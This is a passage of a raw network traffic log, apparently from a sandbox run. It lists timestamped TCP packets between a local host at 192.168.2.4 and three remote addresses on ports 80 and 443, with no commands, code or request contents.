Nov 23, 2024 11:22:24.151743889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.151765108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.151788950 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.151844978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.151853085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.152245998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.152518034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.152609110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.152637959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.152702093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.152728081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.152761936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.153505087 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.153556108 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.153621912 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.153637886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.153652906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.153681040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.153687954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.154503107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.154548883 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.154562950 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.154587030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.154607058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.154627085 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.155484915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.155527115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.155529976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.155544043 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.155586004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.155596972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.155617952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.156398058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.156445980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.156501055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.156519890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.156544924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.156562090 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.156625032 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.157362938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.157387018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.157428026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.157502890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.157521009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.157541037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.157571077 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.158281088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.158349991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.158502102 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.158518076 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.158564091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.158576965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.158577919 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.159235001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.159291029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.159317970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.159465075 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.159568071 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.159626007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.160142899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.160283089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.160284996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.160475969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.160681009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.160737038 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.161098957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.161154985 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.161174059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.161458015 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.161511898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.161596060 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.162026882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.162106037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.162236929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.162410021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.162472963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.162489891 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.162594080 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.162967920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.163341999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.163393974 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.163479090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.163500071 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.163527966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.163552999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.163918972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.163969994 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.164016962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.164444923 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.164448023 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.164515018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.164575100 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.164594889 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.164633036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.164659023 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.164788008 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.164804935 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.164813995 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.164819956 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.164833069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.164931059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.165137053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.165421009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.165476084 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.165489912 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.165775061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.165889978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.165949106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.165976048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.166609049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.166671991 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.166714907 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.166764975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.166780949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.166831970 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.166834116 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.167433023 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.167503119 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.167521954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.167694092 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.167709112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.167725086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.167869091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.168443918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.168452978 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.168488979 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.168529034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.168535948 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.168562889 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.168597937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.168657064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.168716908 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.168730021 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.168752909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.168759108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.169481039 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.169537067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.169652939 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.169672966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.169692039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.169697046 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.169722080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.170387030 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.170481920 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.170497894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.170541048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.170571089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.170619011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.171413898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.171447039 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.171463966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.171504021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.171539068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.171586990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.172369957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.172394991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.172410011 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.172458887 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.172466040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.172482967 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.172523022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.173283100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.173376083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.173378944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.173396111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.173412085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.173448086 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.173464060 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.174211979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.174350977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.174366951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.174418926 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.174434900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.174485922 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.175148964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.175283909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.175342083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.175398111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.175417900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.175467968 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.175467968 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.176115990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.176250935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.176444054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.176461935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.176513910 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.176564932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.176708937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.177076101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.177305937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.177365065 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.177380085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.177422047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.177422047 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.178034067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.178105116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.178185940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.178329945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.178380013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.178386927 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.178456068 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.178915024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.179034948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.179091930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.179286957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.179328918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.179372072 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.179408073 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.179871082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.179922104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.179925919 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.180005074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.180322886 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.180366993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.180404902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.180783033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.180988073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.181041956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.181102037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.181304932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.181432962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.181477070 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.181708097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.181855917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.181957006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.182321072 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.182434082 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.182475090 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.182651043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.182849884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.182894945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.183300018 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.183455944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.183506966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.183576107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.183650017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.183708906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.184290886 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.184338093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.184415102 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.184568882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.184586048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.184639931 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.184654951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.185260057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.185373068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.185420036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.185513973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.185530901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.185657978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.186369896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.186444044 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.186526060 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.186558008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.186575890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.186590910 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.186722040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.187271118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.187330961 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.187355042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.187380075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.187398911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.187402964 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.187426090 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.188256025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.188306093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.188322067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.188350916 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.188375950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.188407898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.189280033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.189295053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.189310074 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.189347029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.189351082 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.189376116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.189472914 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.190169096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.190227985 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.190248966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.190263033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.190340042 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.191080093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.191231012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.191237926 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.192029953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.192131996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.192150116 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.192966938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.193079948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.193250895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.193928003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.194015980 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.194025040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.194837093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.194932938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.194988012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.200027943 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.200097084 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.200170994 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.200357914 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.200371027 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.200381041 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.200386047 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.202688932 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.202727079 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.202819109 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.202986002 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.203005075 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.250926018 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.251084089 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.251157999 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.251317978 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.251329899 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.251348019 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.251355886 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.253391027 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.253417969 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.256463051 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.256572008 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.256584883 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.330095053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.330189943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.330205917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.330259085 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.330564022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.330610991 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.330679893 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.330724955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.331343889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.331397057 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.331461906 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.331547976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.332321882 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.332376003 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.332593918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.332643986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.333343029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.333424091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.333441973 CET	49793	80	192.168.2.4	185.215.113.16
